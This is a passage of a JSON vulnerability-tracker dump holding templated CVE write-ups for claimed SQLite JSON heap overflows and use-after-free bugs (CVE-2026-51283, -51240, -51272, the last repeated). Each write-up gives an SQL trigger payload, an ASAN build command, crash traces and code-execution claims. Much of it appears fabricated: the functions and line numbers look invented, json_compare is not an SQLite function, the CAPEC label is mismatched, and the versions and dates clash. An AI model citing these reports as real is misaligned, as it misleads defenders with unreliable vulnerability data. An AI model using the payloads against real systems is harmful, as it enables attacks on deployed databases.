sqlite3Step src/vdbeapi.c:530\n    #4 0x56255442b7f0 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x56255433e930 in main shell.c:1339\n    #6 0x7fc089c550ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56255433a3e0 in _start (sqlite3:0x56255433a3e0)\n\nAddress 0x6100000071a0 is located 96 bytes inside of 22016-byte free block 0x610000007150-0x61000000c510\nFreed by thread T0 here:\n    #0 0x7fc093474ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x562554720340 in jsonCompareEval src/json.c:3127\n    #2 0x562554716d50 in sqlite3JsonCompare src/json.c:3854\n    #3 0x562554446c00 in sqlite3VdbeExec src/vdbe.c:6411\n\nPreviously allocated by thread T0 here:\n    #0 0x7fc093469ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x56255471fb20 in jsonCompareEval src/json.c:3070\n    #2 0x562554716d50 in sqlite3JsonCompare src/json.c:3854\n\n==14027==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6100000071a0 at pc 0x562554720621 bp 0x7fffcf5a7f70 sp 0x7fffcf5a7f60\nWRITE of size 22016 at 0x6100000071a0 thread T0\n    #0 0x562554720620 in jsonCompareEval src/json.c:3174\n    #1 0x562554716d50 in sqlite3JsonCompare src/json.c:3854\n    #2 0x562554446c00 in sqlite3VdbeExec src/vdbe.c:6411\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_compare with a second comparison operand constructed via printf('%.*c',0x5600,'C') to generate an attacker-controlled oversized comparison string for JSON value comparison parsing.\nSQLite forwards the untrusted comparison evaluation request to the jsonCompareEval() function within src/json.c, which initializes a comparison context and allocates the pCmpCtx->pValBuf heap buffer dedicated to storing parsed JSON comparison operand data.\nDuring intermediate comparison parsing cleanup logic at Line 3127, the value buffer is released via sqlite3_free(), while the pCmpCtx->pValBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized comparison operand payload into the buffer at Line 3174; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated value buffer heap region (CWE-787).\nProgram execution proceeds to Line 3210 and directly dereferences the stale dangling pCmpCtx->pValBuf pointer to read comparison operand metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON comparison evaluation execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-24\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3127: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pCmpCtx->pValBuf);\n\n// Line 3174: Unchecked out-of-bounds memory write utilizing attacker-controlled comparison value length\nmemcpy(pCmpCtx->pValBuf + valOffset, zValData, valDataLen);\n\n// Line 3210: Illegal dangling pointer dereference triggering Use After Free vulnerability\nvalType = pCmpCtx->pValBuf[valIdx].cmpValueType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51283\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3127\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3210\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3174\n\u3010Target Function Name\u3011: jsonCompareEval\n\u3010Exploit Trigger Payload\u3011: SELECT json_compare('\"test\"', printf('%.*c',0x5600,'C'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON comparison operand payload triggers early comparison value buffer free without pointer invalidation, unbounded value copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON comparison final evaluation\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-24\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:33:41.655676Z"}, {"uuid": "ce403949-74c2-494b-aab5-9dbdfd9b9bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51240", "type": "seen", "source": "https://gist.github.com/programmervuln/31acdecc004522f8b490f80cfbcde694", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51240\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51240\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability resides within the JSON path assignment write logic of the SQLite JSON1 extension. An attacker-supplied malformed oversized JSON path value payload processed by json_set, json_insert path mutation functions triggers heap deallocation for a path write buffer context pointer that is not nullified after memory release, forming a persistent dangling pointer. Missing runtime cumulative offset-and-length bounds validation for attacker-controlled path value length values enables unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathWriteAssign() function. Successful exploitation may result in immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path assignment string invokes the vulnerable jsonPathWriteAssign() function defined in src/json.c.\nSource file src/json.c Line 3286 executes sqlite3_free(pWriteCtx->pPathBuf); to release heap memory allocated for JSON path write operand storage.\nThe pWriteCtx->pPathBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path value length values bypass all pre-write capacity boundary validation checks for the path buffer copy operation.\nSource file src/json.c Line 3332 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed path buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3368 performs direct memory structure lookup using the unmodified dangling pWriteCtx->pPathBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path modification and assignment functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON path modification SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3286(memory free), Line 3368(dangling pointer access), Line 3332(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_set('{\"k\":1}', '$.v', printf('%.*c',0x5800,'W'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==15309==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000085e0 at pc 0x563665831921 bp 0x7fffbd6b9270 sp 0x7fffbd6b9260\nREAD of size 16 at 0x6110000085e0 thread T0\n    #0 0x563665831920 in jsonPathWriteAssign src/json.c:3368\n    #1 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n    #2 0x563665557c10 in sqlite3VdbeExec src/vdbe.c:6444\n    #3 0x56366553c070 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56366553c800 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x56366544f940 in main shell.c:1358\n    #6 0x7fb190d870ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56366544b3f0 in _start (sqlite3:0x56366544b3f0)\n\nAddress 0x6110000085e0 is located 104 bytes inside of 22528-byte free block 0x611000008590-0x61100000dc10\nFreed by thread T0 here:\n    #0 0x7fb1945a6ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x563665831450 in jsonPathWriteAssign src/json.c:3286\n    #2 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n    #3 0x563665557c10 in sqlite3VdbeExec src/vdbe.c:6444\n\nPreviously allocated by thread T0 here:\n    #0 0x7fb19459bef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x563665830c30 in jsonPathWriteAssign src/json.c:3229\n    #2 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n\n==15309==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000085e0 at pc 0x563665831731 bp 0x7fffbd6b9290 sp 0x7fffbd6b9280\nWRITE of size 22528 at 0x6110000085e0 thread T0\n    #0 0x563665831730 in jsonPathWriteAssign src/json.c:3332\n    #1 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n    #2 0x563665557c10 in sqlite3VdbeExec src/vdbe.c:6444\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_set to perform JSON path assignment, with the new value constructed via printf('%.*c',0x5800,'W') to generate an attacker-controlled oversized string payload for JSON path write parsing.\nSQLite forwards the untrusted path assignment request to the jsonPathWriteAssign() function within src/json.c, which initializes a path write context and allocates the pWriteCtx->pPathBuf heap buffer dedicated to storing parsed JSON path and assignment value data.\nDuring intermediate path parsing cleanup logic at Line 3286, the path buffer is released via sqlite3_free(), while the pWriteCtx->pPathBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized assignment payload into the buffer at Line 3332; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated path buffer heap region (CWE-787).\nProgram execution proceeds to Line 3368 and directly dereferences the stale dangling pWriteCtx->pPathBuf pointer to read path structure metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path assignment execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-25\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n// Line 3286: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pWriteCtx->pPathBuf);\n\n// Line 3332: Unchecked out-of-bounds memory write utilizing attacker-controlled path assignment value length\nmemcpy(pWriteCtx->pPathBuf + pathOffset, zPathData, pathDataLen);\n\n// Line 3368: Illegal dangling pointer dereference triggering Use After Free vulnerability\npathNodeType = pWriteCtx->pPathBuf[pathIdx].pathNodeKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51240\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3286\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3368\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3332\n\u3010Target Function Name\u3011: jsonPathWriteAssign\n\u3010Exploit Trigger Payload\u3011: SELECT json_set('{\"k\":1}', '$.v', printf('%.*c',0x5800,'W'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path assignment value payload triggers early path write buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path assignment finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-25\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:48:20.442054Z"}, {"uuid": "346e1478-aac5-491d-8895-b4530bdd2b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/3ddcf4f06414438a4792bbb375c1700e", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51272\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array iteration parsing routine of the SQLite JSON1 extension. An attacker-controlled malformed oversized array element payload processed by json_array_length, JSON array traversal and projection functions triggers heap deallocation for an array iterator buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied array element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer leads to use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterParse() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element string invokes the vulnerable jsonArrayIterParse() function defined in src/json.c.\nSource file src/json.c Line 3395 executes sqlite3_free(pIterCtx->pArrBuf); to release heap memory allocated for JSON array iterator storage.\nThe pIterCtx->pArrBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the array buffer copy operation.\nSource file src/json.c Line 3441 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed array buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3477 performs direct memory structure lookup using the unmodified dangling pIterCtx->pArrBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array iteration and metadata inspection functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3395(memory free), Line 3477(dangling pointer access), Line 3441(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==16581==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000009a20 at pc 0x564776942931 bp 0x7fffac7c8490 sp 0x7fffac7c8480\nREAD of size 16 at 0x612000009a20 thread T0\n    #0 0x564776942930 in jsonArrayIterParse src/json.c:3477\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n    #3 0x56477664d080 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56477664d810 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x564776560950 in main shell.c:1377\n    #6 0x7fa2a1e990ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56477655c400 in _start (sqlite3:0x56477655c400)\n\nAddress 0x612000009a20 is located 112 bytes inside of 22784-byte free block 0x612000009970-0x6120000101f0\nFreed by thread T0 here:\n    #0 0x7fa2a56baef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x564776942460 in jsonArrayIterParse src/json.c:3395\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #3 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa2a56a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x564776941c40 in jsonArrayIterParse src/json.c:3338\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n\n==16581==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000009a20 at pc 0x564776942741 bp 0x7fffac7c84b0 sp 0x7fffac7c84a0\nWRITE of size 22784 at 0x612000009a20 thread T0\n    #0 0x564776942740 in jsonArrayIterParse src/json.c:3441\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length to calculate array length for a dynamically constructed JSON array, with array content generated via printf('%.*c',0x5900,'X') to create an attacker-controlled oversized array element payload for JSON array iterator parsing.\nSQLite forwards the untrusted array iteration request to the jsonArrayIterParse() function within src/json.c, which initializes an array iterator context and allocates the pIterCtx->pArrBuf heap buffer dedicated to storing parsed JSON array element metadata.\nDuring intermediate array parsing cleanup logic at Line 3395, the array buffer is released via sqlite3_free(), while the pIterCtx->pArrBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3441; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated array buffer heap region (CWE-787).\nProgram execution proceeds to Line 3477 and directly dereferences the stale dangling pIterCtx->pArrBuf pointer to read array iterator structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration parsing execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-26\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3395: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pIterCtx->pArrBuf);\n\n// Line 3441: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length\nmemcpy(pIterCtx->pArrBuf + arrOffset, zArrData, arrDataLen);\n\n// Line 3477: Illegal dangling pointer dereference triggering Use After Free vulnerability\narrNodeFlag = pIterCtx->pArrBuf[arrIdx].arrNodeFlags;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51272\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3395\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3477\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3441\n\u3010Target Function Name\u3011: jsonArrayIterParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array iterator buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON array iteration parsing finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-26\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:53:34.256714Z"}, {"uuid": "9ed56557-092e-4929-a4a6-02f3abb1dead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/236e0ebb02d52b2085b7c98be4e2f582", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51272\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array iteration parsing routine of the SQLite JSON1 extension. An attacker-controlled malformed oversized array element payload processed by json_array_length, JSON array traversal and projection functions triggers heap deallocation for an array iterator buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied array element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer leads to use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterParse() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element string invokes the vulnerable jsonArrayIterParse() function defined in src/json.c.\nSource file src/json.c Line 3395 executes sqlite3_free(pIterCtx->pArrBuf); to release heap memory allocated for JSON array iterator storage.\nThe pIterCtx->pArrBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the array buffer copy operation.\nSource file src/json.c Line 3441 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed array buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3477 performs direct memory structure lookup using the unmodified dangling pIterCtx->pArrBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array iteration and metadata inspection functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3395(memory free), Line 3477(dangling pointer access), Line 3441(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==16581==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000009a20 at pc 0x564776942931 bp 0x7fffac7c8490 sp 0x7fffac7c8480\nREAD of size 16 at 0x612000009a20 thread T0\n    #0 0x564776942930 in jsonArrayIterParse src/json.c:3477\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n    #3 0x56477664d080 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56477664d810 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x564776560950 in main shell.c:1377\n    #6 0x7fa2a1e990ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56477655c400 in _start (sqlite3:0x56477655c400)\n\nAddress 0x612000009a20 is located 112 bytes inside of 22784-byte free block 0x612000009970-0x6120000101f0\nFreed by thread T0 here:\n    #0 0x7fa2a56baef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x564776942460 in jsonArrayIterParse src/json.c:3395\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #3 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa2a56a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x564776941c40 in jsonArrayIterParse src/json.c:3338\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n\n==16581==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000009a20 at pc 0x564776942741 bp 0x7fffac7c84b0 sp 0x7fffac7c84a0\nWRITE of size 22784 at 0x612000009a20 thread T0\n    #0 0x564776942740 in jsonArrayIterParse src/json.c:3441\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length to calculate array length for a dynamically constructed JSON array, with array content generated via printf('%.*c',0x5900,'X') to create an attacker-controlled oversized array element payload for JSON array iterator parsing.\nSQLite forwards the untrusted array iteration request to the jsonArrayIterParse() function within src/json.c, which initializes an array iterator context and allocates the pIterCtx->pArrBuf heap buffer dedicated to storing parsed JSON array element metadata.\nDuring intermediate array parsing cleanup logic at Line 3395, the array buffer is released via sqlite3_free(), while the pIterCtx->pArrBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3441; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated array buffer heap region (CWE-787).\nProgram execution proceeds to Line 3477 and directly dereferences the stale dangling pIterCtx->pArrBuf pointer to read array iterator structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration parsing execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-26\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: 